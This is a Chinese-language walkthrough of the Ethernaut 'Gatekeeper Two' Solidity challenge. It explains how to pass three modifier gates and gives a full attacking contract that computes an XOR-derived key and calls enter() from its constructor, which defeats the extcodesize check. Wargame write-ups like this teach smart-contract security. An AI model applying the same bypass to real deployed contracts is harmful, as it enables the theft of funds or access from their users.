跟上一關一樣是通過三個modifier的gate,滿足三個要求。
gateOne:
require(msg.sender != tx.origin);
只需以另一合約呼叫關卡合約即可,跟13. Gatekeeper One一樣。
gateTwo:
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
根據官方文檔︰
extcodesize(a) size of the code at address a
只要在constructor中呼叫,則code size為零。
gateThree:
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
^ 為Bitwise XOR,因此a^b=c,則a^c=b。
需要msg.sender ^ gateKey = 0-1,則可以msg.sender ^ 0-1求得gateKey。
另外,自Solidity 0.8開始,運算自帶underflow和overflow 檢查。因此,需以unchecked {} 包含運算部份,不然以上運算會造成交易失敗。
打開Remix IDE,新建檔案GatekeeperTwo.sol貼上︰
pragma solidity ^0.8.0;
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperTwo {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}
然後發送,呼叫成功。最後按提交,本關完成。